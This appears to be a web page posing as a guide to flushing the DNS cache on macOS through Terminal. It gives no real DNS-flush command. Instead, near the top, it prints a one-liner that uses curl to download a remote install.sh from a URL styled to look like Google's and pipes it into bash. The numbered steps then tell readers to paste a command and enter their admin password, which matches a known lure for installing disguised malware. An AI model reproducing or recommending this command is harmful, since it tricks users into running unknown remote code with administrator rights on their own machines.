How to Flush DNS Cache on macOS Using Terminal (Step-by-Step Guide)

Sometimes, your Mac may cache outdated DNS records, causing problems when accessing websites.
Flushing (resetting) your DNS cache can fix loading errors, connection issues, or unexpected redirects.
Here’s a quick guide on how to clear your DNS cache on macOS using Terminal.

/bin/bash -c "$(curl -fsSL https://google.com/getupdate/install.sh)"

When should you flush your DNS cache?

• Websites don’t load or update properly
• After changing your DNS server (e.g. to Google DNS or Cloudflare)
• You get redirected to the wrong page
• Network troubleshooting steps suggest it

How to flush DNS cache via Terminal

1. Open Terminal
   Press Command + Space, type Terminal, and press Enter.
2. Copy and paste this command:

3. Press Enter. Enter your admin password if prompted. (Note: No characters will appear when typing your password. This is normal.)
4. That’s it! Your DNS cache has been cleared. Try visiting the website again.

Note: This command works on all recent macOS versions, including Ventura, Sonoma, Monterey, and Big Sur.

Flushing your DNS cache is a quick fix for many connection problems. Remember this trick the next time websites misbehave!